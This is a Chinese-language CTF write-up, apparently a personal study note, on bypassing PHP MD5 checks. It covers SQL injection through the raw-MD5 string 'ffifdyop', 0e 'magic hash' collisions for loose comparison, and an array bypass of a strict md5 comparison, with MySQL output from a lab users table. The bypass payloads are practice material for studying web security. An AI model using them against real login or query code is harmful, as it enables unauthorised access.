1ndex
- 0x00 brain.md
- 0x01 複現
- 0x02 tips
-
- 參考
0x00 brain.md

看到一個輸入框,先手注了一下,發現沒回顯
果斷fuzzing一下
跑了200行字典response package沒差别的,心态小崩
想起來抓個包看一下⑧
可能我眼睛真的大 …
一開始确實沒看到hint,謝特
但這邊的hint我覺得并不準确(沒有看到包裹用的是單引号還是雙引号)
應該是這個
1.複習一下php MD5函數
本地test一下
php > $str='apple';
php > var_dump(md5($str));
string(32) "1f3870be274f6c49b3e31a0c6728957f"
php > var_dump(md5($str,false));
string(32) "1f3870be274f6c49b3e31a0c6728957f"
php > var_dump(md5($str,true));
string(16) "8p�'OlI��
g(�"
php互動亂碼…
本地起一下,發現原始二進制并非(1,0)這樣的,而是把hash出來的hex轉為ascii
2.特性
mysql> select * from users where username='' or '1abc';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | [email protected] |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set, 1 warning (0.00 sec)
mysql> select * from users where username='' or 1;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | [email protected] |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users where username='' or 'ad123';
Empty set, 1 warning (0.00 sec)
非0數字開頭的字元串–>bool值true
也就是說隻要字元串的hash值轉ascii為 'or’xxxx
表數字開頭
要滿足md5值前幾位等同于上述ascii的hex值
當然後面的數字是随意的(31-39)皆可
這其實已經相當于一種hash碰撞了
累了,寫了個shitty_script半天撞不出來,就直接順了wp的ffifdyop
0x01 複現
出了ffifdyop後面就很簡單了
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
md5值0e開頭就行
‘==’ 同類型,都看做科學計數法 0的多少次方都為0的
常見
QNKCDZO
s155964671a
s1091221200a
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
===強等于直接數組繞
0x02 tips
遇到不熟的函數就多拿環境起一下,别做懶狗
&&dayday up!
參考
https://www.bilibili.com/read/cv6877840/
https://blog.csdn.net/qq_43622442/article/details/105662589